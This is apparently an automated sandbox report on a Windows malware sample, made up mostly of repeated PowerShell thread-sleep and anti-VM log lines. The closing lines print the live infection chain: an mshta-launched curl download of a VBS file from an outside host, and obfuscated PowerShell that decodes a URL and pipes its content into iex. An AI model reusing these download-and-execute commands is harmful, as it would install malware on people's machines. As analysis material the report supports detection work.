Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7695	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1986	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7978	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1673	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7328	Thread sleep count: 7695 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7328	Thread sleep count: 1986 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 7978 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7340	Thread sleep count: 1673 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 0000000A.00000002.1879851414.0000000006067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 0000000A.00000002.1879851414.0000000006067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\NT
Source: mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1799459175.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1795404689.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1872652865.0000000002ECB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870156854.0000000002EC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1873854013.00000000061A8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1871089188.0000000002ECA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000007.00000002.1872652865.0000000002ECB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1866957606.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1870156854.0000000002EC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1871089188.0000000002ECA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869855267.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1867875577.0000000002EB2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1869381377.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: powershell.exe, 0000000E.00000002.2403589372.0000016777CA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll$$Q
Source: mshta.exe, 00000000.00000003.1803126450.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1802142112.0000000000989000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1807346217.0000000000989000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*wy
Source: curl.exe, 00000004.00000003.1777048069.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2403618000.0000027D73A30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 78.138.9.153 443

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\djtukm.js
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)	Jump to behavior

